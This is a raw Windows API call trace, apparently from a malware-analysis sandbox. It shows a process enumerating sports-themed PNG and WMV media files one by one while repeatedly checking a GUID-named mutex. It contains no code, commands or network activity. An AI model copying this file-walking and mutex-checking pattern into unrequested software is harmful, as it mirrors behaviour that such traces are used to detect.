[0058.597] GlobalHandle (pMem=0x559b88) returned 0x440004 [0058.597] GlobalUnlock (hMem=0x440004) returned 0 [0058.597] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.597] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71f1f78f, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71f1f78f, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ff428ad, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xee2, dwReserved0=0x0, dwReserved1=0x0, cFileName="ParentMenuButtonIcon.png", cAlternateFileName="")) returned 1 [0058.597] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0058.597] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.597] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.597] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.597] GlobalUnlock (hMem=0x440004) returned 0 [0058.598] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.598] GlobalLock (hMem=0x44000c) returned 0x559b88 [0058.598] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.598] GlobalUnlock (hMem=0x440004) returned 0 [0058.598] GlobalHandle (pMem=0x559b88) returned 0x44000c [0058.598] GlobalUnlock (hMem=0x44000c) returned 0 [0058.598] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.598] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71f1f78f, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71f1f78f, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ff428ad, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xeeb, dwReserved0=0x0, dwReserved1=0x0, cFileName="PreviousMenuButtonIcon.png", cAlternateFileName="")) returned 1 [0058.598] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0058.598] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.598] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.598] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.598] GlobalUnlock (hMem=0x44000c) returned 0 [0058.598] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.598] GlobalLock (hMem=0x440004) returned 0x559b88 [0058.598] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.598] GlobalUnlock (hMem=0x44000c) returned 0 [0058.598] GlobalHandle (pMem=0x559b88) returned 0x440004 [0058.598] GlobalUnlock (hMem=0x440004) returned 0 [0058.598] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.598] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71f458ec, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71f458ec, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ff68a0b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc3d, dwReserved0=0x0, dwReserved1=0x0, cFileName="SceneButtonInset_Alpha1.png", cAlternateFileName="")) returned 1 [0058.598] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0058.598] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.598] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.598] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.598] GlobalUnlock (hMem=0x440004) returned 0 [0058.598] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.599] GlobalLock (hMem=0x44000c) returned 0x559b88 [0058.599] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.599] GlobalUnlock (hMem=0x440004) returned 0 [0058.599] GlobalHandle (pMem=0x559b88) returned 0x44000c [0058.599] GlobalUnlock (hMem=0x44000c) returned 0 [0058.599] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.599] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71f6ba49, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71f6ba49, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ff68a0b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xdbe, dwReserved0=0x0, dwReserved1=0x0, cFileName="SceneButtonInset_Alpha2.png", cAlternateFileName="")) returned 1 [0058.599] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0058.599] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.599] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.599] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.599] GlobalUnlock (hMem=0x44000c) returned 0 [0058.599] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.599] GlobalLock (hMem=0x440004) returned 0x559b88 [0058.599] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.599] GlobalUnlock (hMem=0x44000c) returned 0 [0058.599] GlobalHandle (pMem=0x559b88) returned 0x440004 [0058.599] GlobalUnlock (hMem=0x440004) returned 0 [0058.599] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.599] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71e8721b, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71e8721b, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ff68a0b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc2f, dwReserved0=0x0, dwReserved1=0x0, cFileName="SceneButtonSubpicture.png", cAlternateFileName="")) returned 1 [0058.599] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0058.599] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.599] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.599] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.599] GlobalUnlock (hMem=0x440004) returned 0 [0058.599] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.599] GlobalLock (hMem=0x44000c) returned 0x559b88 [0058.599] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.599] GlobalUnlock (hMem=0x440004) returned 0 [0058.600] GlobalHandle (pMem=0x559b88) returned 0x44000c [0058.600] GlobalUnlock (hMem=0x44000c) returned 0 [0058.600] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.600] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71893b93, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71893b93, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x500e57b7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x539540, dwReserved0=0x0, dwReserved1=0x0, cFileName="SportsMainBackground.wmv", cAlternateFileName="")) returned 1 [0058.600] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0058.600] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.600] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.600] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.600] GlobalUnlock (hMem=0x44000c) returned 0 [0058.600] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.600] GlobalLock (hMem=0x440004) returned 0x559b88 [0058.600] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.600] GlobalUnlock (hMem=0x44000c) returned 0 [0058.600] GlobalHandle (pMem=0x559b88) returned 0x440004 [0058.600] GlobalUnlock (hMem=0x440004) returned 0 [0058.600] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.600] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71aa8ea9, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71aa8ea9, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x502ae81f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x57bbc0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SportsMainBackground_PAL.wmv", cAlternateFileName="")) returned 1 [0058.600] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0058.600] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.600] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.600] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.600] GlobalUnlock (hMem=0x440004) returned 0 [0058.600] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.600] GlobalLock (hMem=0x44000c) returned 0x559b88 [0058.600] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.600] GlobalUnlock (hMem=0x440004) returned 0 [0058.600] GlobalHandle (pMem=0x559b88) returned 0x44000c [0058.600] GlobalUnlock (hMem=0x44000c) returned 0 [0058.601] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.601] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71c25c4b, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71c25c4b, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x50320c39, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1beae6, dwReserved0=0x0, dwReserved1=0x0, cFileName="SportsMainToNotesBackground.wmv", cAlternateFileName="")) returned 1 [0058.601] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0058.601] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.601] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.601] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.601] GlobalUnlock (hMem=0x44000c) returned 0 [0058.601] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.601] GlobalLock (hMem=0x440004) returned 0x559b88 [0058.601] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.601] GlobalUnlock (hMem=0x44000c) returned 0 [0058.601] GlobalHandle (pMem=0x559b88) returned 0x440004 [0058.601] GlobalUnlock (hMem=0x440004) returned 0 [0058.601] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.601] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71cbe1bf, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71cbe1bf, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x50393053, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1c0a26, dwReserved0=0x0, dwReserved1=0x0, cFileName="SportsMainToNotesBackground_PAL.wmv", cAlternateFileName="")) returned 1 [0058.601] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0058.601] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.601] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.601] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.601] GlobalUnlock (hMem=0x440004) returned 0 [0058.601] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.601] GlobalLock (hMem=0x44000c) returned 0x559b88 [0058.601] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.601] GlobalUnlock (hMem=0x440004) returned 0 [0058.601] GlobalHandle (pMem=0x559b88) returned 0x44000c [0058.601] GlobalUnlock (hMem=0x44000c) returned 0 [0058.601] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.602] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71d7c890, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71d7c890, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x504c3b43, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x184166, dwReserved0=0x0, dwReserved1=0x0, cFileName="SportsMainToScenesBackground.wmv", cAlternateFileName="")) returned 1 [0058.602] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0058.602] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.602] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.602] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.602] GlobalUnlock (hMem=0x44000c) returned 0 [0058.602] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.602] GlobalLock (hMem=0x440004) returned 0x559b88 [0058.602] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.602] GlobalUnlock (hMem=0x44000c) returned 0 [0058.602] GlobalHandle (pMem=0x559b88) returned 0x440004 [0058.602] GlobalUnlock (hMem=0x440004) returned 0 [0058.602] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.602] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71deeca7, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71deeca7, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x50add351, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x189f26, dwReserved0=0x0, dwReserved1=0x0, cFileName="SportsMainToScenesBackground_PAL.wmv", cAlternateFileName="")) returned 1 [0058.602] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0058.602] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.602] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.602] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.602] GlobalUnlock (hMem=0x440004) returned 0 [0058.602] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.602] GlobalLock (hMem=0x44000c) returned 0x559b88 [0058.602] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.602] GlobalUnlock (hMem=0x440004) returned 0 [0058.602] GlobalHandle (pMem=0x559b88) returned 0x44000c [0058.602] GlobalUnlock (hMem=0x44000c) returned 0 [0058.602] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.602] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x713aae96, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x713aae96, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x514fb049, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x6680f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="SportsNotesBackground.wmv", cAlternateFileName="")) returned 1 [0058.603] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0058.603] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.603] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.603] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.603] GlobalUnlock (hMem=0x44000c) returned 0 [0058.603] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.603] GlobalLock (hMem=0x440004) returned 0x559b88 [0058.603] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.603] GlobalUnlock (hMem=0x44000c) returned 0 [0058.603] GlobalHandle (pMem=0x559b88) returned 0x440004 [0058.603] GlobalUnlock (hMem=0x440004) returned 0 [0058.603] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.603] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71501adb, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71501adb, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x5206f98f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x673c74, dwReserved0=0x0, dwReserved1=0x0, cFileName="SportsNotesBackground_PAL.wmv", cAlternateFileName="")) returned 1 [0058.603] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0058.603] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.603] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.603] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.603] GlobalUnlock (hMem=0x440004) returned 0 [0058.603] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.603] GlobalLock (hMem=0x44000c) returned 0x559b88 [0058.603] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.603] GlobalUnlock (hMem=0x440004) returned 0 [0058.603] GlobalHandle (pMem=0x559b88) returned 0x44000c [0058.603] GlobalUnlock (hMem=0x44000c) returned 0 [0058.603] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.603] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x716a49da, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x716a49da, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x522f70cd, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2ca474, dwReserved0=0x0, dwReserved1=0x0, cFileName="SportsScenesBackground.wmv", cAlternateFileName="")) returned 1 [0058.603] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0058.603] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.604] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.604] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.604] GlobalUnlock (hMem=0x44000c) returned 0 [0058.604] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.604] GlobalLock (hMem=0x440004) returned 0x559b88 [0058.604] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.604] GlobalUnlock (hMem=0x44000c) returned 0 [0058.604] GlobalHandle (pMem=0x559b88) returned 0x440004 [0058.604] GlobalUnlock (hMem=0x440004) returned 0 [0058.604] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.604] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71789208, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71789208, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x524e6293, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2e59f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="SportsScenesBackground_PAL.wmv", cAlternateFileName="")) returned 1 [0058.604] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0058.604] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.607] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.607] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.607] GlobalUnlock (hMem=0x440004) returned 0 [0058.607] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.607] GlobalLock (hMem=0x44000c) returned 0x559b88 [0058.607] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.607] GlobalUnlock (hMem=0x440004) returned 0 [0058.607] GlobalHandle (pMem=0x559b88) returned 0x44000c [0058.608] GlobalUnlock (hMem=0x44000c) returned 0 [0058.608] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.608] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71384d39, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71384d39, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ff68a0b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x23d2, dwReserved0=0x0, dwReserved1=0x0, cFileName="sports_disc_mask.png", cAlternateFileName="")) returned 1 [0058.608] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0058.608] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.608] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.608] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.608] GlobalUnlock (hMem=0x44000c) returned 0 [0058.608] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.608] GlobalLock (hMem=0x440004) returned 0x559b88 [0058.608] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.608] GlobalUnlock (hMem=0x44000c) returned 0 [0058.608] GlobalHandle (pMem=0x559b88) returned 0x440004 [0058.608] GlobalUnlock (hMem=0x440004) returned 0 [0058.608] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.608] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71384d39, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71384d39, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ff68a0b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x23d2, dwReserved0=0x0, dwReserved1=0x0, cFileName="sports_disc_mask.png", cAlternateFileName="")) returned 0 [0058.608] GetLastError () returned 0x12 [0058.608] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0058.609] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa198102e, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa9057bb, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa19a729d, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Stacking", cAlternateFileName="")) returned 1 [0058.609] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0058.609] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0058.609] GlobalLock (hMem=0x440004) returned 0x550170 [0058.609] GlobalHandle (pMem=0x550170) returned 0x440004 [0058.609] GlobalUnlock (hMem=0x440004) returned 0 [0058.609] GlobalLock (hMem=0x440004) returned 0x550170 